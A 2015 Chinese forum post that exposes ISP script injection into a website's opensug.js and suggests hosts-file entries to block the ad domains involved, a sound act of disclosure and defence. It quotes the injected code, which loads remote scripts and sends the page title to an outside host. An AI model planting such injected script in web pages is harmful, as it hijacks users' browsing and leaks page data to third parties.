成长值: 234 签到天数: 4703 天 [LV.Master]伴坛终老
|
发表于 2015/6/27 15:53
|
显示全部楼层
|阅读模式
|Google Chrome 43.0.2357.130 |Windows 8.1
插入了一个js,然后文件名是正常的opensug.js 其内容为document.write("<script language='javascript' src='http://att.itzmx.com/1/opensug.js?_vv=20080808'></script>");document.write("<script language='javascript' src='http://p.ywbmh.com:7777/pt/pt.php?src=p0007&t="+encodeURIComponent(document.title)+"&ci=3029101464'></script>");
,原来本身的js重命名了opensug.js?_vv=20080808
证据曝光,这段代码被植入网站并不是服务器漏洞等问题,是运营商搞的鬼。
C:\Windows\system32\drivers\etc
建议在hosts下加入如下,均为电信公司的广告弹窗域名
127.0.0.1 p.ywbmh.com
127.0.0.1 p.ubt123.com
127.0.0.1 p.haolew.com 2015年9月11日新增
问:你说我把opensug.js文件名改了,还会被电信劫持么?
答:并不会解决的,没救,看到了劫持其他js了
|
|